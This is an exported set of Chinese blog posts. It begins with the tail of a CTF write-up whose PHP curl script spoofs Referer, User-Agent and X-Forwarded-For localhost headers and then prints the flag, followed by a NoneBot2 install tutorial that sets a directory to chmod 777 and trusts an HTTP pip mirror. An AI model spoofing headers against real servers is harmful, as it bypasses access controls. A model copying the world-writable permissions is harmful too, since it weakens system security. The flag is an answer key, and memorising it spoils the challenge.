keyword\"\u003earray\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token string double-quoted-string\"\u003e\u0026#34;Referer: www.ltyyds.com\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string double-quoted-string\"\u003e\u0026#34;X-Forwarded-For: 127.0.0.1\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string double-quoted-string\"\u003e\u0026#34;User-Agent: LT\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string double-quoted-string\"\u003e\u0026#34;Date: Dec, 26 Dec 2015 17:30:00 GMT\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_setopt\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token constant\"\u003eCURLOPT_URL\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$url\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_setopt\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token constant\"\u003eCURLOPT_CUSTOMREQUEST\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token string single-quoted-string\"\u003e\u0026#39;HS\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_setopt\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token constant\"\u003eCURLOPT_TIMEOUT\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_setopt\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token constant\"\u003eCURLOPT_RETURNTRANSFER\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e#curl_setopt($ch,CURLOPT_HTTPHEADER,array(\u0026#34;X-Forwarded-For: 127.0.0.1\u0026#34;));\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_setopt\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token constant\"\u003eCURLOPT_HTTPHEADER\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$header\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$content\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_exec\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"token variable\"\u003e$content\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token delimiter important\"\u003e?\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{HTTPHeaders_1s_s0_ea5y!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.ksfu.top/posts/82c9/"},{"title":"blogEncrypt","time":"2021-09-09T14:02:52Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cdiv class=\"hbe hbe-container\" id=\"hexo-blog-encrypt\" data-wpm=\"抱歉, 这个密码看着不太对, 请再试试.\" data-whm=\"抱歉, 这个文章不能被校验, 不过您还是能看看解密后的内容.\"\u003e \u003cscript id=\"hbeData\" type=\"hbeData\" data-hmacdigest=\"4838c035240a77ed6a78693c026a2ff61b17c3551b0ee6366631d0ca6dcd57bb\"\u003eeefcb32dea6b1b3cf00a6005fbaeec13fe33249b90ab29d6586ecb398d0eca850144a02e601cd72ca042df0f6de4861b3b858d5692d5cde454c3b47084d3a78437917c5f5bbee81f8032aa9a1e29a844b0f4ca6e476c84a7eec435bf74a1be3edabb682d58c0e60af8baf6929662b069f5f11272f77a74d1b3477df7f4251f003c2801887418a7e0ad930d46f0a553d96a393a1222821cabf2e2e4e07db2017269ad22f352e61748bbb4b5c3e35a2cb0f9059ef4225ed713beae899374580e36163878e69f63c6c053ce0ca053c0c747\u003c/script\u003e \u003cdiv class=\"hbe hbe-content\"\u003e \u003cdiv class=\"hbe hbe-input hbe-input-xray\"\u003e \u003cinput class=\"hbe hbe-input-field hbe-input-field-xray\" type=\"password\" id=\"hbePass\"/\u003e \u003clabel class=\"hbe hbe-input-label hbe-input-label-xray\" for=\"hbePass\"\u003e \u003cspan class=\"hbe hbe-input-label-content hbe-input-label-content-xray\"\u003e这里需要密码.\u003c/span\u003e \u003c/label\u003e \u003csvg class=\"hbe hbe-graphic hbe-graphic-xray\" width=\"300%\" height=\"100%\" viewBox=\"0 0 1200 60\" preserveAspectRatio=\"none\"\u003e \u003cpath d=\"M0,56.5c0,0,298.666,0,399.333,0C448.336,56.5,513.994,46,597,46c77.327,0,135,10.5,200.999,10.5c95.996,0,402.001,0,402.001,0\"\u003e\u003c/path\u003e \u003cpath d=\"M0,2.5c0,0,298.666,0,399.333,0C448.336,2.5,513.994,13,597,13c77.327,0,135-10.5,200.999-10.5c95.996,0,402.001,0,402.001,0\"\u003e\u003c/path\u003e \u003c/svg\u003e \u003c/div\u003e \u003c/div\u003e\u003c/div\u003e\u003cscript data-pjax=\"\" src=\"/lib/hbe.js\"\u003e\u003c/script\u003e\u003clink href=\"/css/hbe.style.css\" rel=\"stylesheet\" type=\"text/css\"/\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.ksfu.top/posts/af/"},{"title":"折腾NoneBot","time":"2021-05-29T04:39:19Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 style=\"color:red;\"\u003ePay Attention!!!\u003c/h1\u003e\u003ch1 style=\"color:red;\"\u003ePay Attention!!!\u003c/h1\u003e\u003ch1 style=\"color:red;\"\u003ePay Attention!!!\u003c/h1\u003e\u003cscript\u003ealert(\"本篇博客内容已无参考性\")\u003c/script\u003e\u003cp\u003e因为 NoneBot 项目更新,本篇博客内容已无参考性!!!\u003c/p\u003e\u003cp\u003e因为 NoneBot 项目更新,本篇博客内容已无参考性!!!\u003c/p\u003e\u003cp\u003e因为 NoneBot 项目更新,本篇博客内容已无参考性!!!\u003c/p\u003e\u003cp\u003e\u003cdel\u003e(等有时间了整个新的)\u003c/del\u003e\u003c/p\u003e\u003ch1 id=\"折腾NoneBot-2\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/ec36/#%E6%8A%98%E8%85%BENoneBot-2\" class=\"headerlink\" title=\"折腾NoneBot 2\"\u003e\u003c/a\u003e折腾NoneBot 2\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e看群里机器人挺有意思,然后翻学长GitHub(\u003ca href=\"https://github.com/Reverier-Xu\"\u003eReverier-Xu\u003c/a\u003e和\u003ca href=\"https://github.com/frankli0324\"\u003eFrank\u003c/a\u003e)的时候翻到了这个叫NoneBot的东西,就动手搞搞,刚好手头有不用的小号\u003c/del\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e全程在Manjaro下进行\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"参考资料\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/ec36/#%E5%8F%82%E8%80%83%E8%B5%84%E6%96%99\" class=\"headerlink\" title=\"参考资料\"\u003e\u003c/a\u003e参考资料\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://v2.nonebot.dev/\"\u003eNoneBot官方手册\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://docs.nonebot.dev/\"\u003eNoneBot官方文档\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_42059060/article/details/114424753\"\u003e在centos上装载NoneBot2_ChenYX的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://muyuuuu.github.io/2019/09/21/python-virenv/\"\u003emanjaro下python创建虚拟环境 | Just for Life. (muyuuuu.github.io)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/7acbffa17c28\"\u003eArch/Manjaro安装deb安装包 - 简书 (jianshu.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/tujia/p/13597602.html\"\u003evirtualenvwrapper 的安装与使用 - Tiac - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/lzping/p/13534385.html\"\u003eLinux pip安装速度慢(超时报错),为pip换源 - lzping - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_42059060/article/details/114449178\"\u003e开启QBot_ChenYX的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"概览\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/ec36/#%E6%A6%82%E8%A7%88\" class=\"headerlink\" title=\"概览\"\u003e\u003c/a\u003e概览\u003c/h2\u003e\u003cp\u003eNoneBot2 是一个可扩展的 Python 异步机器人框架,它会对机器人收到的事件进行解析和处理,并以插件化的形式,按优先级分发给事件所对应的事件响应器,来完成具体的功能。\u003c/p\u003e\u003cp\u003e除了起到解析事件的作用,NoneBot 还为插件提供了大量实用的预设操作和权限控制机制。对于命令处理,它更是提供了完善且易用的会话机制和内部调用机制,以分别适应命令的连续交互和插件内部功能复用等需求。\u003c/p\u003e\u003cp\u003e需要注意的是,NoneBot 仅支持 \u003cstrong\u003ePython 3.7+\u003c/strong\u003e\u003c/p\u003e\u003ch4 id=\"Linux-pip安装速度慢(超时报错),为pip换源\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/ec36/#Linux-pip%E5%AE%89%E8%A3%85%E9%80%9F%E5%BA%A6%E6%85%A2%EF%BC%88%E8%B6%85%E6%97%B6%E6%8A%A5%E9%94%99%EF%BC%89%EF%BC%8C%E4%B8%BApip%E6%8D%A2%E6%BA%90\" class=\"headerlink\" title=\"Linux pip安装速度慢(超时报错),为pip换源\"\u003e\u003c/a\u003eLinux pip安装速度慢(超时报错),为pip换源\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003emkdir\u003c/span\u003e \u003cspan class=\"token parameter variable\"\u003e-p\u003c/span\u003e ~/.pip/\u003cspan class=\"token function\"\u003enano\u003c/span\u003e pip.conf\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003epip.conf\u003c/code\u003e 中内容如下:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eglobal\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003eindex-url\u003cspan class=\"token operator\"\u003e=\u003c/span\u003ehttp://mirrors.aliyun.com/pypi/simple/\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003einstall\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003etrusted-host\u003cspan class=\"token operator\"\u003e=\u003c/span\u003emirrors.aliyun.com\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"安装\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/ec36/#%E5%AE%89%E8%A3%85\" class=\"headerlink\" title=\"安装\"\u003e\u003c/a\u003e安装\u003c/h2\u003e\u003ch3 id=\"虚拟环境\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/ec36/#%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83\" class=\"headerlink\" title=\"虚拟环境\"\u003e\u003c/a\u003e虚拟环境\u003c/h3\u003e\u003cp\u003e为了装载 NoneBot2 并保证相关配置包不会冲突,我们需要安装一个纯净的 python 空间。这里我们就要用到 virtualenv 工具包了。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003evirtualenvwrapper\u003c/strong\u003e 是一个python项目环境管理工具,一个项目一个独立环境(可随心切换),\u003cstrong\u003e防止不同项目依赖环境的相互污染\u003c/strong\u003e。\u003c/p\u003e\u003ch3 id=\"virtualenv-的安装\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/ec36/#virtualenv-%E7%9A%84%E5%AE%89%E8%A3%85\" class=\"headerlink\" title=\"virtualenv 的安装\"\u003e\u003c/a\u003evirtualenv 的安装\u003c/h3\u003e\u003cp\u003e首先使用 pip 命令安装两个需要的包\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e如果 pip 软链接没有修改成 pip3 的话要输入 pip3\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003epip3 \u003cspan class=\"token function\"\u003einstall\u003c/span\u003e virtualenvpip3 \u003cspan class=\"token function\"\u003einstall\u003c/span\u003e virtualenvwrapper\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后创建一个文件夹,用于存放所有的虚拟环境:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003emkdir\u003c/span\u003e \u003cspan class=\"token parameter variable\"\u003e-p\u003c/span\u003e /usr/local/virtualenvs \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e目录自定义\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e注意:安装完虚拟环境后,如果提示找不到mkvirtualenv命令,须配置环境变量:\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e首先查看一下 \u003ccode\u003evirtualenvwrapper.sh\u003c/code\u003e 和 \u003ccode\u003epython3\u003c/code\u003e 的安装目录\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003ewhich\u003c/span\u003e virtualenvwrapper.sh\u003cspan class=\"token function\"\u003ewhich\u003c/span\u003e python3\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e用whereis也行\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e修改文件 \u003ccode\u003e.bashrc\u003c/code\u003e ,这就是用户配置文件\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token builtin class-name\"\u003ecd\u003c/span\u003e ~\u003cspan class=\"token function\"\u003esudo\u003c/span\u003e \u003cspan class=\"token function\"\u003enano\u003c/span\u003e .bashrc\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e文件末尾添加\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token builtin class-name\"\u003eexport\u003c/span\u003e \u003cspan class=\"token assign-left variable\"\u003eWORKON_HOME\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e/usr/local/virtualenvs \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e绝对路径\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token builtin class-name\"\u003esource\u003c/span\u003e /home/cyk/.local/bin/virtualenvwrapper.sh\u003cspan class=\"token assign-left variable\"\u003eVIRTUALENVWRAPPER_PYTHON\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e/usr/bin/python3\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e这里注意,WORKON_HOME的绝对路径需要填写你刚刚创建的文件夹地址。source 里要填写你刚刚 pip 安装 virtualenvwrapper 的位置,就是上面找到的\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e再然后更新环境变量\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token builtin class-name\"\u003esource\u003c/span\u003e ~/.bashrc\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"激活\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/ec36/#%E6%BF%80%E6%B4%BB\" class=\"headerlink\" title=\"激活\"\u003e\u003c/a\u003e激活\u003c/h4\u003e\u003cp\u003e在终端输入\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token builtin class-name\"\u003esource\u003c/span\u003e virtualenvwrapper.sh\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"创建虚拟环境\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/ec36/#%E5%88%9B%E5%BB%BA%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83\" class=\"headerlink\" title=\"创建虚拟环境\"\u003e\u003c/a\u003e创建虚拟环境\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003emkvirtualenv 你的虚拟环境名称\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e进入虚拟环境后命令行会有所变化。(一定不要\u003ccode\u003esudo\u003c/code\u003e)\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e如果报错了,说明我们没有给 \u003ccode\u003evirtualenv\u003c/code\u003e 创建软链接,然后就ok了\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003eln\u003c/span\u003e \u003cspan class=\"token parameter variable\"\u003e-s\u003c/span\u003e /home/cyk/.local/bin/virtualenv /usr/bin/virtualenv\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e如果出现类似\u003ccode\u003evirtualenv: error: argument dest: the destination . is not write-able at /usr/local/virtualenvs\u003c/code\u003e的错误\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e该错误是由于.virtualenvs没有可写的权限引起的,可对该文件赋予可读可写可执行的权限\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003esudo\u003c/span\u003e \u003cspan class=\"token function\"\u003echmod\u003c/span\u003e \u003cspan class=\"token number\"\u003e777\u003c/span\u003e /usr/local/virtualenvs\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e之后再次创建虚拟环境\u003c/p\u003e\u003ch4 id=\"列出虚拟环境\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/ec36/#%E5%88%97%E5%87%BA%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83\" class=\"headerlink\" title=\"列出虚拟环境\"\u003e\u003c/a\u003e列出虚拟环境\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003eworkon\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"启动虚拟环境\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/ec36/#%E5%90%AF%E5%8A%A8%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83\" class=\"headerlink\" title=\"启动虚拟环境\"\u003e\u003c/a\u003e启动虚拟环境\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003eworkon \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003evenvname\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e你虚拟环境的名字\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"退出虚拟环境\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/ec36/#%E9%80%80%E5%87%BA%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83\" class=\"headerlink\" title=\"退出虚拟环境\"\u003e\u003c/a\u003e退出虚拟环境\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003edeactivate\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"删除虚拟环境\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/ec36/#%E5%88%A0%E9%99%A4%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83\" class=\"headerlink\" title=\"删除虚拟环境\"\u003e\u003c/a\u003e删除虚拟环境\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003ermvirtualenv \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003evenvname\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"安装NoneBot\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/ec36/#%E5%AE%89%E8%A3%85NoneBot\" class=\"headerlink\" title=\"安装NoneBot\"\u003e\u003c/a\u003e安装NoneBot\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e一定要进入虚拟环境\u003c/strong\u003e\u003c/p\u003e\u003ch4 id=\"通过脚手架安装\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/ec36/#%E9%80%9A%E8%BF%87%E8%84%9A%E6%89%8B%E6%9E%B6%E5%AE%89%E8%A3%85\" class=\"headerlink\" title=\"通过脚手架安装\"\u003e\u003c/a\u003e通过脚手架安装\u003c/h4\u003e\u003cp\u003e使用 \u003ccode\u003epip\u003c/code\u003e 或 其他包管理工具 安装 \u003ccode\u003enb-cli\u003c/code\u003e,\u003ccode\u003enonebot2\u003c/code\u003e 会作为其依赖被一起安装\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003epip3 \u003cspan class=\"token function\"\u003einstall\u003c/span\u003e nb-cli\u003cspan aria-hidden=\"true\" 